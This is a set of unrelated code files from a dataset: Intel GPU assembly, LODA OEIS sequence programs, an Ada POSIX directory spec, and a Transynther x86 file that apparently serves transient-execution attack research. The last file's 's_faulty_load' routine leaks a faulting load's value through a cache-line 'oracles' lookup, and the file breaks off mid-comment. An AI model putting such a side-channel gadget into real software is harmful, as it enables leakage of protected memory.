shl (8|M0) r47.0<1>:ud r47.0<8;8,1>:ud 0x2:ud
mov (8|M0) r47.0<4>:ub r[a0.4,1]<16;4,2>:ub
mov (8|M0) r48.0<1>:ud 0x401004:ud
shr (8|M0) r48.3<4>:ub r[a0.7,33]<16;4,2>:ub 0x6:uw
shl (8|M0) r48.0<1>:ud r48.0<8;8,1>:ud 0x2:ud
mov (8|M0) r48.2<4>:ub r[a0.6,33]<16;4,2>:ub
shl (8|M0) r48.0<1>:ud r48.0<8;8,1>:ud 0x2:ud
mov (8|M0) r48.1<4>:ub r[a0.5,33]<16;4,2>:ub
shl (8|M0) r48.0<1>:ud r48.0<8;8,1>:ud 0x2:ud
mov (8|M0) r48.0<4>:ub r[a0.4,33]<16;4,2>:ub
mov (8|M0) r56.0<1>:ud 0x401004:ud
shr (8|M0) r56.3<4>:ub r[a0.7,9]<16;4,2>:ub 0x6:uw
shl (8|M0) r56.0<1>:ud r56.0<8;8,1>:ud 0x2:ud
mov (8|M0) r56.2<4>:ub r[a0.6,9]<16;4,2>:ub
shl (8|M0) r56.0<1>:ud r56.0<8;8,1>:ud 0x2:ud
mov (8|M0) r56.1<4>:ub r[a0.5,9]<16;4,2>:ub
shl (8|M0) r56.0<1>:ud r56.0<8;8,1>:ud 0x2:ud
mov (8|M0) r56.0<4>:ub r[a0.4,9]<16;4,2>:ub
mov (8|M0) r57.0<1>:ud 0x401004:ud
shr (8|M0) r57.3<4>:ub r[a0.7,41]<16;4,2>:ub 0x6:uw
shl (8|M0) r57.0<1>:ud r57.0<8;8,1>:ud 0x2:ud
mov (8|M0) r57.2<4>:ub r[a0.6,41]<16;4,2>:ub
shl (8|M0) r57.0<1>:ud r57.0<8;8,1>:ud 0x2:ud
mov (8|M0) r57.1<4>:ub r[a0.5,41]<16;4,2>:ub
shl (8|M0) r57.0<1>:ud r57.0<8;8,1>:ud 0x2:ud
mov (8|M0) r57.0<4>:ub r[a0.4,41]<16;4,2>:ub
add (4|M0) a0.4<1>:w a0.4<4;4,1>:w 0x200:uw
add (16|M0) (sat)r[a0.0]<1>:uw r[a0.0]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.0,32]<1>:uw r[a0.0,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4]<1>:uw r[a0.4]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4,32]<1>:uw r[a0.4,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1]<1>:uw r[a0.1]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1,32]<1>:uw r[a0.1,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5]<1>:uw r[a0.5]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5,32]<1>:uw r[a0.5,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2]<1>:uw r[a0.2]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2,32]<1>:uw r[a0.2,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6]<1>:uw r[a0.6]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6,32]<1>:uw r[a0.6,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.3]<1>:uw r[a0.3]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.3,32]<1>:uw r[a0.3,32]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.7]<1>:uw r[a0.7]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.7,32]<1>:uw r[a0.7,32]<16;16,1>:uw 0x2000:uw
mov (8|M0) r31.0<1>:ud 0x401004:ud
shr (8|M0) r31.3<4>:ub r[a0.3,1]<16;4,2>:ub 0x6:uw
shl (8|M0) r31.0<1>:ud r31.0<8;8,1>:ud 0x2:ud
mov (8|M0) r31.2<4>:ub r[a0.2,1]<16;4,2>:ub
shl (8|M0) r31.0<1>:ud r31.0<8;8,1>:ud 0x2:ud
mov (8|M0) r31.1<4>:ub r[a0.1,1]<16;4,2>:ub
shl (8|M0) r31.0<1>:ud r31.0<8;8,1>:ud 0x2:ud
mov (8|M0) r31.0<4>:ub r[a0.0,1]<16;4,2>:ub
mov (8|M0) r32.0<1>:ud 0x401004:ud
shr (8|M0) r32.3<4>:ub r[a0.3,33]<16;4,2>:ub 0x6:uw
shl (8|M0) r32.0<1>:ud r32.0<8;8,1>:ud 0x2:ud
mov (8|M0) r32.2<4>:ub r[a0.2,33]<16;4,2>:ub
shl (8|M0) r32.0<1>:ud r32.0<8;8,1>:ud 0x2:ud
mov (8|M0) r32.1<4>:ub r[a0.1,33]<16;4,2>:ub
shl (8|M0) r32.0<1>:ud r32.0<8;8,1>:ud 0x2:ud
mov (8|M0) r32.0<4>:ub r[a0.0,33]<16;4,2>:ub
mov (8|M0) r40.0<1>:ud 0x401004:ud
shr (8|M0) r40.3<4>:ub r[a0.3,9]<16;4,2>:ub 0x6:uw
shl (8|M0) r40.0<1>:ud r40.0<8;8,1>:ud 0x2:ud
mov (8|M0) r40.2<4>:ub r[a0.2,9]<16;4,2>:ub
shl (8|M0) r40.0<1>:ud r40.0<8;8,1>:ud 0x2:ud
mov (8|M0) r40.1<4>:ub r[a0.1,9]<16;4,2>:ub
shl (8|M0) r40.0<1>:ud r40.0<8;8,1>:ud 0x2:ud
mov (8|M0) r40.0<4>:ub r[a0.0,9]<16;4,2>:ub
mov (8|M0) r41.0<1>:ud 0x401004:ud
shr (8|M0) r41.3<4>:ub r[a0.3,41]<16;4,2>:ub 0x6:uw
shl (8|M0) r41.0<1>:ud r41.0<8;8,1>:ud 0x2:ud
mov (8|M0) r41.2<4>:ub r[a0.2,41]<16;4,2>:ub
shl (8|M0) r41.0<1>:ud r41.0<8;8,1>:ud 0x2:ud
mov (8|M0) r41.1<4>:ub r[a0.1,41]<16;4,2>:ub
shl (8|M0) r41.0<1>:ud r41.0<8;8,1>:ud 0x2:ud
mov (8|M0) r41.0<4>:ub r[a0.0,41]<16;4,2>:ub
add (4|M0) a0.0<1>:w a0.0<4;4,1>:w 0x200:uw
mov (8|M0) r49.0<1>:ud 0x401004:ud
shr (8|M0) r49.3<4>:ub r[a0.7,1]<16;4,2>:ub 0x6:uw
shl (8|M0) r49.0<1>:ud r49.0<8;8,1>:ud 0x2:ud
mov (8|M0) r49.2<4>:ub r[a0.6,1]<16;4,2>:ub
shl (8|M0) r49.0<1>:ud r49.0<8;8,1>:ud 0x2:ud
mov (8|M0) r49.1<4>:ub r[a0.5,1]<16;4,2>:ub
shl (8|M0) r49.0<1>:ud r49.0<8;8,1>:ud 0x2:ud
mov (8|M0) r49.0<4>:ub r[a0.4,1]<16;4,2>:ub
mov (8|M0) r50.0<1>:ud 0x401004:ud
shr (8|M0) r50.3<4>:ub r[a0.7,33]<16;4,2>:ub 0x6:uw
shl (8|M0) r50.0<1>:ud r50.0<8;8,1>:ud 0x2:ud
mov (8|M0) r50.2<4>:ub r[a0.6,33]<16;4,2>:ub
shl (8|M0) r50.0<1>:ud r50.0<8;8,1>:ud 0x2:ud
mov (8|M0) r50.1<4>:ub r[a0.5,33]<16;4,2>:ub
shl (8|M0) r50.0<1>:ud r50.0<8;8,1>:ud 0x2:ud
mov (8|M0) r50.0<4>:ub r[a0.4,33]<16;4,2>:ub
mov (8|M0) r58.0<1>:ud 0x401004:ud
shr (8|M0) r58.3<4>:ub r[a0.7,9]<16;4,2>:ub 0x6:uw
shl (8|M0) r58.0<1>:ud r58.0<8;8,1>:ud 0x2:ud
mov (8|M0) r58.2<4>:ub r[a0.6,9]<16;4,2>:ub
shl (8|M0) r58.0<1>:ud r58.0<8;8,1>:ud 0x2:ud
mov (8|M0) r58.1<4>:ub r[a0.5,9]<16;4,2>:ub
shl (8|M0) r58.0<1>:ud r58.0<8;8,1>:ud 0x2:ud
mov (8|M0) r58.0<4>:ub r[a0.4,9]<16;4,2>:ub
mov (8|M0) r59.0<1>:ud 0x401004:ud
shr (8|M0) r59.3<4>:ub r[a0.7,41]<16;4,2>:ub 0x6:uw
shl (8|M0) r59.0<1>:ud r59.0<8;8,1>:ud 0x2:ud
mov (8|M0) r59.2<4>:ub r[a0.6,41]<16;4,2>:ub
shl (8|M0) r59.0<1>:ud r59.0<8;8,1>:ud 0x2:ud
mov (8|M0) r59.1<4>:ub r[a0.5,41]<16;4,2>:ub
shl (8|M0) r59.0<1>:ud r59.0<8;8,1>:ud 0x2:ud
mov (8|M0) r59.0<4>:ub r[a0.4,41]<16;4,2>:ub
add (4|M0) a0.4<1>:w a0.4<4;4,1>:w 0x200:uw
add (16|M0) (sat)r[a0.0]<1>:uw r[a0.0]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.0,32]<1>:uw r[a0.0,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4]<1>:uw r[a0.4]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4,32]<1>:uw r[a0.4,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1]<1>:uw r[a0.1]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1,32]<1>:uw r[a0.1,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5]<1>:uw r[a0.5]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5,32]<1>:uw r[a0.5,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2]<1>:uw r[a0.2]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2,32]<1>:uw r[a0.2,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6]<1>:uw r[a0.6]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6,32]<1>:uw r[a0.6,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.3]<1>:uw r[a0.3]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.3,32]<1>:uw r[a0.3,32]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.7]<1>:uw r[a0.7]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.7,32]<1>:uw r[a0.7,32]<16;16,1>:uw 0x2000:uw
mov (8|M0) r33.0<1>:ud 0x401004:ud
shr (8|M0) r33.3<4>:ub r[a0.3,1]<16;4,2>:ub 0x6:uw
shl (8|M0) r33.0<1>:ud r33.0<8;8,1>:ud 0x2:ud
mov (8|M0) r33.2<4>:ub r[a0.2,1]<16;4,2>:ub
shl (8|M0) r33.0<1>:ud r33.0<8;8,1>:ud 0x2:ud
mov (8|M0) r33.1<4>:ub r[a0.1,1]<16;4,2>:ub
shl (8|M0) r33.0<1>:ud r33.0<8;8,1>:ud 0x2:ud
mov (8|M0) r33.0<4>:ub r[a0.0,1]<16;4,2>:ub
mov (8|M0) r34.0<1>:ud 0x401004:ud
shr (8|M0) r34.3<4>:ub r[a0.3,33]<16;4,2>:ub 0x6:uw
shl (8|M0) r34.0<1>:ud r34.0<8;8,1>:ud 0x2:ud
mov (8|M0) r34.2<4>:ub r[a0.2,33]<16;4,2>:ub
shl (8|M0) r34.0<1>:ud r34.0<8;8,1>:ud 0x2:ud
mov (8|M0) r34.1<4>:ub r[a0.1,33]<16;4,2>:ub
shl (8|M0) r34.0<1>:ud r34.0<8;8,1>:ud 0x2:ud
mov (8|M0) r34.0<4>:ub r[a0.0,33]<16;4,2>:ub
mov (8|M0) r42.0<1>:ud 0x401004:ud
shr (8|M0) r42.3<4>:ub r[a0.3,9]<16;4,2>:ub 0x6:uw
shl (8|M0) r42.0<1>:ud r42.0<8;8,1>:ud 0x2:ud
mov (8|M0) r42.2<4>:ub r[a0.2,9]<16;4,2>:ub
shl (8|M0) r42.0<1>:ud r42.0<8;8,1>:ud 0x2:ud
mov (8|M0) r42.1<4>:ub r[a0.1,9]<16;4,2>:ub
shl (8|M0) r42.0<1>:ud r42.0<8;8,1>:ud 0x2:ud
mov (8|M0) r42.0<4>:ub r[a0.0,9]<16;4,2>:ub
mov (8|M0) r43.0<1>:ud 0x401004:ud
shr (8|M0) r43.3<4>:ub r[a0.3,41]<16;4,2>:ub 0x6:uw
shl (8|M0) r43.0<1>:ud r43.0<8;8,1>:ud 0x2:ud
mov (8|M0) r43.2<4>:ub r[a0.2,41]<16;4,2>:ub
shl (8|M0) r43.0<1>:ud r43.0<8;8,1>:ud 0x2:ud
mov (8|M0) r43.1<4>:ub r[a0.1,41]<16;4,2>:ub
shl (8|M0) r43.0<1>:ud r43.0<8;8,1>:ud 0x2:ud
mov (8|M0) r43.0<4>:ub r[a0.0,41]<16;4,2>:ub
add (4|M0) a0.0<1>:w a0.0<4;4,1>:w 0x200:uw
mov (8|M0) r51.0<1>:ud 0x401004:ud
shr (8|M0) r51.3<4>:ub r[a0.7,1]<16;4,2>:ub 0x6:uw
shl (8|M0) r51.0<1>:ud r51.0<8;8,1>:ud 0x2:ud
mov (8|M0) r51.2<4>:ub r[a0.6,1]<16;4,2>:ub
shl (8|M0) r51.0<1>:ud r51.0<8;8,1>:ud 0x2:ud
mov (8|M0) r51.1<4>:ub r[a0.5,1]<16;4,2>:ub
shl (8|M0) r51.0<1>:ud r51.0<8;8,1>:ud 0x2:ud
mov (8|M0) r51.0<4>:ub r[a0.4,1]<16;4,2>:ub
mov (8|M0) r52.0<1>:ud 0x401004:ud
shr (8|M0) r52.3<4>:ub r[a0.7,33]<16;4,2>:ub 0x6:uw
shl (8|M0) r52.0<1>:ud r52.0<8;8,1>:ud 0x2:ud
mov (8|M0) r52.2<4>:ub r[a0.6,33]<16;4,2>:ub
shl (8|M0) r52.0<1>:ud r52.0<8;8,1>:ud 0x2:ud
mov (8|M0) r52.1<4>:ub r[a0.5,33]<16;4,2>:ub
shl (8|M0) r52.0<1>:ud r52.0<8;8,1>:ud 0x2:ud
mov (8|M0) r52.0<4>:ub r[a0.4,33]<16;4,2>:ub
mov (8|M0) r60.0<1>:ud 0x401004:ud
shr (8|M0) r60.3<4>:ub r[a0.7,9]<16;4,2>:ub 0x6:uw
shl (8|M0) r60.0<1>:ud r60.0<8;8,1>:ud 0x2:ud
mov (8|M0) r60.2<4>:ub r[a0.6,9]<16;4,2>:ub
shl (8|M0) r60.0<1>:ud r60.0<8;8,1>:ud 0x2:ud
mov (8|M0) r60.1<4>:ub r[a0.5,9]<16;4,2>:ub
shl (8|M0) r60.0<1>:ud r60.0<8;8,1>:ud 0x2:ud
mov (8|M0) r60.0<4>:ub r[a0.4,9]<16;4,2>:ub
mov (8|M0) r61.0<1>:ud 0x401004:ud
shr (8|M0) r61.3<4>:ub r[a0.7,41]<16;4,2>:ub 0x6:uw
shl (8|M0) r61.0<1>:ud r61.0<8;8,1>:ud 0x2:ud
mov (8|M0) r61.2<4>:ub r[a0.6,41]<16;4,2>:ub
shl (8|M0) r61.0<1>:ud r61.0<8;8,1>:ud 0x2:ud
mov (8|M0) r61.1<4>:ub r[a0.5,41]<16;4,2>:ub
shl (8|M0) r61.0<1>:ud r61.0<8;8,1>:ud 0x2:ud
mov (8|M0) r61.0<4>:ub r[a0.4,41]<16;4,2>:ub
add (4|M0) a0.4<1>:w a0.4<4;4,1>:w 0x200:uw
add (16|M0) (sat)r[a0.0]<1>:uw r[a0.0]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.0,32]<1>:uw r[a0.0,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4]<1>:uw r[a0.4]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4,32]<1>:uw r[a0.4,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1]<1>:uw r[a0.1]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1,32]<1>:uw r[a0.1,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5]<1>:uw r[a0.5]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5,32]<1>:uw r[a0.5,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2]<1>:uw r[a0.2]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2,32]<1>:uw r[a0.2,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6]<1>:uw r[a0.6]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6,32]<1>:uw r[a0.6,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.3]<1>:uw r[a0.3]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.3,32]<1>:uw r[a0.3,32]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.7]<1>:uw r[a0.7]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.7,32]<1>:uw r[a0.7,32]<16;16,1>:uw 0x2000:uw
mov (8|M0) r35.0<1>:ud 0x401004:ud
shr (8|M0) r35.3<4>:ub r[a0.3,1]<16;4,2>:ub 0x6:uw
shl (8|M0) r35.0<1>:ud r35.0<8;8,1>:ud 0x2:ud
mov (8|M0) r35.2<4>:ub r[a0.2,1]<16;4,2>:ub
shl (8|M0) r35.0<1>:ud r35.0<8;8,1>:ud 0x2:ud
mov (8|M0) r35.1<4>:ub r[a0.1,1]<16;4,2>:ub
shl (8|M0) r35.0<1>:ud r35.0<8;8,1>:ud 0x2:ud
mov (8|M0) r35.0<4>:ub r[a0.0,1]<16;4,2>:ub
mov (8|M0) r36.0<1>:ud 0x401004:ud
shr (8|M0) r36.3<4>:ub r[a0.3,33]<16;4,2>:ub 0x6:uw
shl (8|M0) r36.0<1>:ud r36.0<8;8,1>:ud 0x2:ud
mov (8|M0) r36.2<4>:ub r[a0.2,33]<16;4,2>:ub
shl (8|M0) r36.0<1>:ud r36.0<8;8,1>:ud 0x2:ud
mov (8|M0) r36.1<4>:ub r[a0.1,33]<16;4,2>:ub
shl (8|M0) r36.0<1>:ud r36.0<8;8,1>:ud 0x2:ud
mov (8|M0) r36.0<4>:ub r[a0.0,33]<16;4,2>:ub
mov (8|M0) r44.0<1>:ud 0x401004:ud
shr (8|M0) r44.3<4>:ub r[a0.3,9]<16;4,2>:ub 0x6:uw
shl (8|M0) r44.0<1>:ud r44.0<8;8,1>:ud 0x2:ud
mov (8|M0) r44.2<4>:ub r[a0.2,9]<16;4,2>:ub
shl (8|M0) r44.0<1>:ud r44.0<8;8,1>:ud 0x2:ud
mov (8|M0) r44.1<4>:ub r[a0.1,9]<16;4,2>:ub
shl (8|M0) r44.0<1>:ud r44.0<8;8,1>:ud 0x2:ud
mov (8|M0) r44.0<4>:ub r[a0.0,9]<16;4,2>:ub
mov (8|M0) r45.0<1>:ud 0x401004:ud
shr (8|M0) r45.3<4>:ub r[a0.3,41]<16;4,2>:ub 0x6:uw
shl (8|M0) r45.0<1>:ud r45.0<8;8,1>:ud 0x2:ud
mov (8|M0) r45.2<4>:ub r[a0.2,41]<16;4,2>:ub
shl (8|M0) r45.0<1>:ud r45.0<8;8,1>:ud 0x2:ud
mov (8|M0) r45.1<4>:ub r[a0.1,41]<16;4,2>:ub
shl (8|M0) r45.0<1>:ud r45.0<8;8,1>:ud 0x2:ud
mov (8|M0) r45.0<4>:ub r[a0.0,41]<16;4,2>:ub
add (4|M0) a0.0<1>:w a0.0<4;4,1>:w 0x200:uw
mov (8|M0) r53.0<1>:ud 0x401004:ud
shr (8|M0) r53.3<4>:ub r[a0.7,1]<16;4,2>:ub 0x6:uw
shl (8|M0) r53.0<1>:ud r53.0<8;8,1>:ud 0x2:ud
mov (8|M0) r53.2<4>:ub r[a0.6,1]<16;4,2>:ub
shl (8|M0) r53.0<1>:ud r53.0<8;8,1>:ud 0x2:ud
mov (8|M0) r53.1<4>:ub r[a0.5,1]<16;4,2>:ub
shl (8|M0) r53.0<1>:ud r53.0<8;8,1>:ud 0x2:ud
mov (8|M0) r53.0<4>:ub r[a0.4,1]<16;4,2>:ub
mov (8|M0) r54.0<1>:ud 0x401004:ud
shr (8|M0) r54.3<4>:ub r[a0.7,33]<16;4,2>:ub 0x6:uw
shl (8|M0) r54.0<1>:ud r54.0<8;8,1>:ud 0x2:ud
mov (8|M0) r54.2<4>:ub r[a0.6,33]<16;4,2>:ub
shl (8|M0) r54.0<1>:ud r54.0<8;8,1>:ud 0x2:ud
mov (8|M0) r54.1<4>:ub r[a0.5,33]<16;4,2>:ub
shl (8|M0) r54.0<1>:ud r54.0<8;8,1>:ud 0x2:ud
mov (8|M0) r54.0<4>:ub r[a0.4,33]<16;4,2>:ub
mov (8|M0) r62.0<1>:ud 0x401004:ud
shr (8|M0) r62.3<4>:ub r[a0.7,9]<16;4,2>:ub 0x6:uw
shl (8|M0) r62.0<1>:ud r62.0<8;8,1>:ud 0x2:ud
mov (8|M0) r62.2<4>:ub r[a0.6,9]<16;4,2>:ub
shl (8|M0) r62.0<1>:ud r62.0<8;8,1>:ud 0x2:ud
mov (8|M0) r62.1<4>:ub r[a0.5,9]<16;4,2>:ub
shl (8|M0) r62.0<1>:ud r62.0<8;8,1>:ud 0x2:ud
mov (8|M0) r62.0<4>:ub r[a0.4,9]<16;4,2>:ub
mov (8|M0) r63.0<1>:ud 0x401004:ud
shr (8|M0) r63.3<4>:ub r[a0.7,41]<16;4,2>:ub 0x6:uw
shl (8|M0) r63.0<1>:ud r63.0<8;8,1>:ud 0x2:ud
mov (8|M0) r63.2<4>:ub r[a0.6,41]<16;4,2>:ub
shl (8|M0) r63.0<1>:ud r63.0<8;8,1>:ud 0x2:ud
mov (8|M0) r63.1<4>:ub r[a0.5,41]<16;4,2>:ub
shl (8|M0) r63.0<1>:ud r63.0<8;8,1>:ud 0x2:ud
mov (8|M0) r63.0<4>:ub r[a0.4,41]<16;4,2>:ub
add (4|M0) a0.4<1>:w a0.4<4;4,1>:w 0x200:uw
send (8|M0) null:d r28:ub 0xC 0x120A8018
send (8|M0) null:d r37:ub 0xC 0x120A8018
send (8|M0) null:d r46:ub 0xC 0x120A8018
send (8|M0) null:d r55:ub 0xC 0x120A8018
|
oeis/207/A207846.asm | neoneye/loda-programs | 11 | 83553 | ; A207846: Number of 3 X n 0..1 arrays avoiding 0 0 0 and 0 0 1 horizontally and 0 0 0 and 1 1 1 vertically.
; 6,36,72,180,432,1044,2520,6084,14688,35460,85608,206676,498960,1204596,2908152,7020900,16949952,40920804,98791560,238503924,575799408,1390102740,3356004888,8102112516,19560229920,47222572356,114005374632,275233321620,664472017872,1604177357364,3872826732600,9349830822564,22572488377728,54494807578020,131562103533768,317619014645556,766800132824880,1851219280295316,4469238693415512,10789696667126340,26048632027668192,62886960722462724,151822553472593640,366532067667650004,884886688807893648
seq $0,163271 ; Numerators of fractions in a 'zero-transform' approximation of sqrt(2) by means of a(n) = (a(n-1) + c)/(a(n-1) + 1) with c=2 and a(1)=0.
mul $0,3
mov $2,$0
cmp $2,0
add $0,$2
mul $0,6
|
source/directories/machine-apple-darwin/s-natdir.ads | ytomino/drake | 33 | 26192 | pragma License (Unrestricted);
-- implementation unit specialized for POSIX (Darwin, FreeBSD, or Linux)
with Ada.Exception_Identification;
with Ada.IO_Exceptions;
with Ada.Streams;
with System.Native_Calendar;
with C.sys.stat;
with C.sys.types;
package System.Native_Directories is
pragma Preelaborate;
-- directory and file operations
function Current_Directory return String;
procedure Set_Directory (Directory : String);
procedure Create_Directory (New_Directory : String);
procedure Delete_Directory (Directory : String);
procedure Delete_File (Name : String);
procedure Rename (
Old_Name : String;
New_Name : String;
Overwrite : Boolean);
procedure Copy_File (
Source_Name : String;
Target_Name : String;
Overwrite : Boolean);
pragma Inline (Copy_File); -- renamed
procedure Replace_File (
Source_Name : String;
Target_Name : String);
pragma Inline (Replace_File); -- renamed
procedure Symbolic_Link (
Source_Name : String;
Target_Name : String;
Overwrite : Boolean);
-- file and directory name operations
function Full_Name (Name : String) return String;
function Exists (Name : String) return Boolean;
-- file and directory queries
-- same as Ada.Directories.File_Kind
type File_Kind is (Directory, Ordinary_File, Special_File);
pragma Discard_Names (File_Kind);
subtype Directory_Entry_Information_Type is C.sys.stat.struct_stat;
procedure Get_Information (
Name : String;
Information : aliased out Directory_Entry_Information_Type);
function Kind (mode : C.sys.types.mode_t) return File_Kind;
function Kind (Information : Directory_Entry_Information_Type)
return File_Kind;
function Size (Information : Directory_Entry_Information_Type)
return Ada.Streams.Stream_Element_Count;
function Modification_Time (Information : Directory_Entry_Information_Type)
return Native_Calendar.Native_Time;
pragma Inline (Modification_Time);
procedure Set_Modification_Time (
Name : String;
Time : Native_Calendar.Native_Time);
-- exceptions
function IO_Exception_Id (errno : C.signed_int)
return Ada.Exception_Identification.Exception_Id;
function Named_IO_Exception_Id (errno : C.signed_int)
return Ada.Exception_Identification.Exception_Id;
Name_Error : exception
renames Ada.IO_Exceptions.Name_Error;
Use_Error : exception
renames Ada.IO_Exceptions.Use_Error;
Device_Error : exception
renames Ada.IO_Exceptions.Device_Error;
end System.Native_Directories;
|
oeis/130/A130857.asm | neoneye/loda-programs | 11 | 178429 | ; A130857: a(n) = (n-1)*n*(n+1)*(n+2)*(2n+11)/120.
; Submitted by <NAME>(s2)
; 0,3,17,57,147,322,630,1134,1914,3069,4719,7007,10101,14196,19516,26316,34884,45543,58653,74613,93863,116886,144210,176410,214110,257985,308763,367227,434217,510632,597432,695640,806344,930699,1069929
mov $1,$0
add $1,$0
sub $0,$1
bin $0,4
add $1,13
mul $0,$1
div $0,5
|
Transynther/x86/_processed/NONE/_st_/i9-9900K_12_0xa0_notsx.log_1253_1118.asm | ljhsiun2/medusa | 9 | 87111 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r14
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xd1d6, %r14
clflush (%r14)
nop
nop
nop
nop
nop
sub $64383, %r12
movb (%r14), %r9b
nop
nop
nop
and %rdi, %rdi
lea addresses_UC_ht+0x5f56, %rsi
nop
nop
nop
nop
inc %r11
movw $0x6162, (%rsi)
nop
xor $52276, %r14
lea addresses_A_ht+0x7ab6, %rsi
add %r13, %r13
vmovups (%rsi), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %rdi
nop
and %r11, %r11
lea addresses_D_ht+0x145b6, %r11
inc %r9
movups (%r11), %xmm3
vpextrq $0, %xmm3, %rdi
nop
nop
nop
nop
cmp $17206, %r13
lea addresses_A_ht+0xee56, %rsi
lea addresses_WT_ht+0x41d6, %rdi
nop
nop
nop
nop
add $30103, %r13
mov $92, %rcx
rep movsw
cmp $61099, %r12
lea addresses_normal_ht+0xdfee, %rcx
nop
nop
nop
nop
nop
cmp %rdi, %rdi
mov $0x6162636465666768, %r12
movq %r12, (%rcx)
nop
nop
nop
nop
and $29706, %r13
lea addresses_A_ht+0x3d6, %rdi
nop
nop
inc %r14
mov (%rdi), %r12d
nop
nop
nop
xor %r13, %r13
lea addresses_UC_ht+0x1e756, %rsi
clflush (%rsi)
nop
nop
cmp %r9, %r9
mov $0x6162636465666768, %r13
movq %r13, %xmm1
vmovups %ymm1, (%rsi)
nop
sub $49804, %rcx
lea addresses_D_ht+0xb756, %rsi
lea addresses_WT_ht+0x19b56, %rdi
nop
nop
sub $5403, %r11
mov $124, %rcx
rep movsw
nop
nop
nop
nop
nop
sub %r11, %r11
lea addresses_D_ht+0x13fd6, %rcx
nop
nop
nop
sub %r14, %r14
mov (%rcx), %r11
nop
nop
sub $3314, %r14
lea addresses_WT_ht+0x69d6, %rdi
xor $62966, %r9
vmovups (%rdi), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $0, %xmm7, %r12
nop
nop
nop
nop
nop
cmp %r11, %r11
lea addresses_D_ht+0xcf56, %r12
nop
sub $5899, %r14
movl $0x61626364, (%r12)
nop
nop
nop
nop
add $8539, %r9
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r14
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %r15
push %r8
push %rdi
push %rdx
// Load
lea addresses_A+0x4da6, %r14
nop
nop
nop
nop
nop
add %rdi, %rdi
movups (%r14), %xmm0
vpextrq $1, %xmm0, %r13
nop
nop
nop
nop
nop
xor $34140, %rdx
// Store
lea addresses_RW+0x1da56, %r14
nop
nop
sub $31254, %r8
mov $0x5152535455565758, %rdx
movq %rdx, %xmm7
movups %xmm7, (%r14)
nop
nop
xor %r10, %r10
// Load
lea addresses_PSE+0x5756, %r15
nop
nop
nop
and %r8, %r8
movb (%r15), %dl
nop
nop
and %r8, %r8
// Store
lea addresses_D+0xb756, %rdx
nop
nop
nop
nop
sub %rdi, %rdi
movb $0x51, (%rdx)
nop
add %rdx, %rdx
// Store
lea addresses_RW+0x12b56, %rdx
nop
nop
nop
nop
add $49272, %r15
movw $0x5152, (%rdx)
nop
nop
nop
nop
cmp %r13, %r13
// Store
lea addresses_D+0x16f56, %r15
and %r13, %r13
movw $0x5152, (%r15)
nop
add %r13, %r13
// Faulty Load
lea addresses_A+0x16f56, %rdi
nop
nop
nop
nop
nop
and $40614, %r15
movb (%rdi), %r14b
lea oracles, %r13
and $0xff, %r14
shlq $12, %r14
mov (%r13,%r14,1), %r14
pop %rdx
pop %rdi
pop %r8
pop %r15
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
